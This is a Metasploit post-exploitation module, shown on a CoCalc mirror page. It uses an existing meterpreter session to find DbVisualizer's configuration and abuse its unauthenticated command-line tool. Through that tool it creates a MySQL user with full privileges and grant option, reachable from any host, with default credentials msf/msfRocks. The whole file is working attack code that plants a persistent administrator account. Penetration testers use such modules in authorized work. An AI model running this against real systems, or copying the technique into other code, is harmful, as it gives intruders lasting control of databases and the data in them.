CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/dbvis_add_db_admin.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Manage DbVisualizer Add Db Admin',
15
'Description' => %q{
16
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
17
(With GUI). The remote database can be accessed from the command line without the need
18
to authenticate, which can be abused to create an administrator in the database with the
19
proper database permissions. Note: This module currently only supports MySQL.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
23
'References' => [
24
['URL', 'http://youtu.be/0LCLRVHX1vA']
25
],
26
'Platform' => %w[linux win],
27
'SessionTypes' => [ 'meterpreter' ],
28
'Compat' => {
29
'Meterpreter' => {
30
'Commands' => %w[
31
stdapi_fs_stat
32
stdapi_sys_config_getenv
33
]
34
}
35
}
36
)
37
)
38
39
register_options(
40
[
41
OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),
42
OptString.new('DBUSERNAME', [true, 'The user you want to add to the remote database', 'msf']),
43
OptString.new('DBPASSWORD', [true, 'User password to set', 'msfRocks'])
44
]
45
)
46
end
47
48
def run
49
db_type = exist_and_supported
50
unless db_type.blank?
51
dbvis = find_dbviscmd
52
unless dbvis.blank?
53
sql = get_sql(db_type)
54
errors = dbvis_query(dbvis, sql)
55
if errors == true
56
print_error('No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ')
57
else
58
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
59
end
60
end
61
end
62
end
63
64
# Check if the alias exist and if database is supported by this script
65
def exist_and_supported
66
case session.platform
67
when 'linux'
68
user = session.shell_command('whoami')
69
print_status("Current user is #{user}")
70
if (user =~ /root/)
71
user_base = '/root/'
72
else
73
user_base = "/home/#{user}/"
74
end
75
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
76
when 'windows'
77
user_profile = session.sys.config.getenv('USERPROFILE')
78
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
79
end
80
81
unless file?(dbvis_file)
82
# File not found, we next try with the old config path
83
print_status("File not found: #{dbvis_file}")
84
print_status('This could be an older version of dbvis, trying old path')
85
86
case session.platform
87
when 'linux'
88
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
89
when 'windows'
90
dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"
91
end
92
unless file?(dbvis_file)
93
print_error("File not found: #{dbvis_file}")
94
return
95
end
96
97
old_version = true
98
end
99
100
print_status("Reading : #{dbvis_file}")
101
raw_xml = ''
102
begin
103
raw_xml = read_file(dbvis_file)
104
rescue EOFError
105
# If there's nothing in the file, we hit EOFError
106
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
107
return
108
end
109
110
db_found = false
111
alias_found = false
112
db_type = nil
113
db_type_ok = false
114
115
# fetch config file
116
raw_xml.each_line do |line|
117
if line =~ /<Database id=/
118
db_found = true
119
elsif line =~ %r{</Database>}
120
db_found = false
121
end
122
123
next unless db_found == true
124
125
# checkthe alias
126
if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))
127
alias_found = true
128
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
129
end
130
131
if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found
132
print_good("Username for this connection : #{::Regexp.last_match(1)}")
133
end
134
135
# check the type
136
next unless (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found
137
138
db_type = ::Regexp.last_match(1)
139
db_type_ok = check_db_type(db_type)
140
if db_type_ok
141
print_good("Database #{db_type} is supported ")
142
else
143
print_error("Database #{db_type} is not supported (yet)")
144
db_type = nil
145
end
146
alias_found = false
147
end
148
if db_type.blank?
149
print_error('Database alias not found in dbvis.xml')
150
end
151
return db_type # That is empty if DB is not supported
152
end
153
154
# Find path to dbviscmd.sh|bat
155
def find_dbviscmd
156
case session.platform
157
when 'linux'
158
dbvis = session.shell_command('locate dbviscmd.sh').chomp
159
if dbvis.chomp == ''
160
print_error('dbviscmd.sh not found')
161
return nil
162
else
163
print_good("Dbviscmd found : #{dbvis}")
164
end
165
when 'windows'
166
# Find program files
167
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
168
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
169
if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)
170
program_files = progfiles_x86 # x64
171
else
172
program_files = progfiles_env['ProgramFiles'] # x86
173
end
174
dirs = []
175
session.fs.dir.foreach(program_files) do |d|
176
dirs << d
177
end
178
dbvis_home_dir = nil
179
# Browse program content to find a possible dbvis home
180
dirs.each do |d|
181
if (d =~ /DbVisualizer[\S+\s+]+/i)
182
dbvis_home_dir = d
183
end
184
end
185
if dbvis_home_dir.blank?
186
print_error('Dbvis home not found, maybe uninstalled ?')
187
return nil
188
end
189
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
190
unless file?(dbvis)
191
print_error('dbviscmd.bat not found')
192
return nil
193
end
194
print_good("Dbviscmd found : #{dbvis}")
195
end
196
return dbvis
197
end
198
199
# Query execution method
200
def dbvis_query(dbvis, sql)
201
error = false
202
resp = ''
203
if file?(dbvis) == true
204
f = session.fs.file.stat(dbvis)
205
if (f.uid == Process.euid) || Process.groups.include?(f.gid)
206
print_status('Trying to execute evil sql, it can take time ...')
207
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
208
dbvis = "\"#{dbvis}\""
209
cmd = "#{dbvis} #{args}"
210
resp = cmd_exec(cmd)
211
vprint_line
212
vprint_status(resp.to_s)
213
if resp =~ /denied|failed/i
214
error = true
215
end
216
else
217
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
218
end
219
else
220
print_error("#{dbvis} is not a file")
221
end
222
return error
223
end
224
225
# Database dependent part
226
227
# Check if db type is supported by this script
228
def check_db_type(type)
229
return type.to_s =~ /mysql/i
230
end
231
232
# Build proper sql
233
def get_sql(db_type)
234
if db_type =~ /mysql/i
235
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
236
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
237
238
sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
239
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"
240
return sql
241
end
242
return nil
243
end
244
end
245
246